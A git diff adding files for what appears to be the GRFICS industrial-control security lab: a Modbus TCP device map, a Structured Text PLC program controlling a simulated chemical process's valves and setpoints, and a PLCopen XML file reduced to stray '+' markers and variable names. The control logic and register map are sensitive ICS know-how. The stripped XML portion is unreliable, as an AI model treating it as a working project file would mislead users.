+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg new file mode 100644 index 0000000..c4103e8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/mbconfig.cfg @@ -0,0 +1,115 @@ +Num_Devices = "6" + +# Device 0 +device0.name = "feed 1" +device0.protocol = "TCP" +device0.slave_id = "247" +device0.address = "192.168.95.10" +device0.IP_Port = "502" +device0.RTU_Baud_Rate = "" +device0.RTU_Parity = "" +device0.RTU_Data_Bits = "" +device0.RTU_Stop_Bits = "" +device0.Discrete_Inputs_Start = "0" +device0.Discrete_Inputs_Size = "0" +device0.Coils_Start = "0" +device0.Coils_Size = "0" +device0.Input_Registers_Start = "1" +device0.Input_Registers_Size = "2" +device0.Holding_Registers_Start = "1" +device0.Holding_Registers_Size = "1" + +# Device 1 +device1.name = "feed 2" +device1.protocol = "TCP" +device1.slave_id = "247" +device1.address = "192.168.95.11" +device1.IP_Port = "502" +device1.RTU_Baud_Rate = "" +device1.RTU_Parity = "" +device1.RTU_Data_Bits = "" +device1.RTU_Stop_Bits = "" +device1.Discrete_Inputs_Start = "0" +device1.Discrete_Inputs_Size = "0" +device1.Coils_Start = "0" +device1.Coils_Size = "0" +device1.Input_Registers_Start = "1" +device1.Input_Registers_Size = "2" +device1.Holding_Registers_Start = "1" +device1.Holding_Registers_Size = "1" + +# Device 2 +device2.name = "purge" +device2.protocol = "TCP" +device2.slave_id = "247" +device2.address = "192.168.95.12" +device2.IP_Port = "502" +device2.RTU_Baud_Rate = "" +device2.RTU_Parity = "" +device2.RTU_Data_Bits = "" +device2.RTU_Stop_Bits = "" +device2.Discrete_Inputs_Start = "0" +device2.Discrete_Inputs_Size = "0" +device2.Coils_Start = "0" +device2.Coils_Size = "0" +device2.Input_Registers_Start = "1" +device2.Input_Registers_Size = "2" +device2.Holding_Registers_Start = "1" +device2.Holding_Registers_Size = "1" + +# Device 3 +device3.name = "product" +device3.protocol = "TCP" +device3.slave_id = "247" +device3.address = "192.168.95.13" +device3.IP_Port = "502" +device3.RTU_Baud_Rate = "" +device3.RTU_Parity = "" +device3.RTU_Data_Bits = "" +device3.RTU_Stop_Bits = "" +device3.Discrete_Inputs_Start = "0" +device3.Discrete_Inputs_Size = "0" +device3.Coils_Start = "0" +device3.Coils_Size = "0" +device3.Input_Registers_Start = "1" +device3.Input_Registers_Size = "2" +device3.Holding_Registers_Start = "1" +device3.Holding_Registers_Size = "1" + +# Device 4 +device4.name = "tank" +device4.protocol = "TCP" +device4.slave_id = "247" +device4.address = "192.168.95.14" +device4.IP_Port = "502" +device4.RTU_Baud_Rate = "" +device4.RTU_Parity = "" +device4.RTU_Data_Bits = "" +device4.RTU_Stop_Bits = "" +device4.Discrete_Inputs_Start = "0" +device4.Discrete_Inputs_Size = "0" +device4.Coils_Start = "0" +device4.Coils_Size = "0" +device4.Input_Registers_Start = "1" +device4.Input_Registers_Size = "2" +device4.Holding_Registers_Start = "0" +device4.Holding_Registers_Size = "0" + +# Device 5 +device5.name = "analyzer" +device5.protocol = "TCP" +device5.slave_id = "247" +device5.address = "192.168.95.15" +device5.IP_Port = "502" +device5.RTU_Baud_Rate = "" +device5.RTU_Parity = "" +device5.RTU_Data_Bits = "" +device5.RTU_Stop_Bits = "" +device5.Discrete_Inputs_Start = "0" +device5.Discrete_Inputs_Size = "0" +device5.Coils_Start = "0" +device5.Coils_Size = "0" +device5.Input_Registers_Start = "1" +device5.Input_Registers_Size = "3" +device5.Holding_Registers_Start = "0" +device5.Holding_Registers_Size = "0" diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st new file mode 100644 index 0000000..02d6438 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.st @@ -0,0 +1,480 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + run_bit0 := NOT(run_bit); + MOVE99_OUT := MOVE(EN := NOT(run_bit0), IN := 0, ENO => MOVE99_ENO); + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml new file mode 100644 index 0000000..6d8212b --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/simplified_te.xml @@ -0,0 +1,5332 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 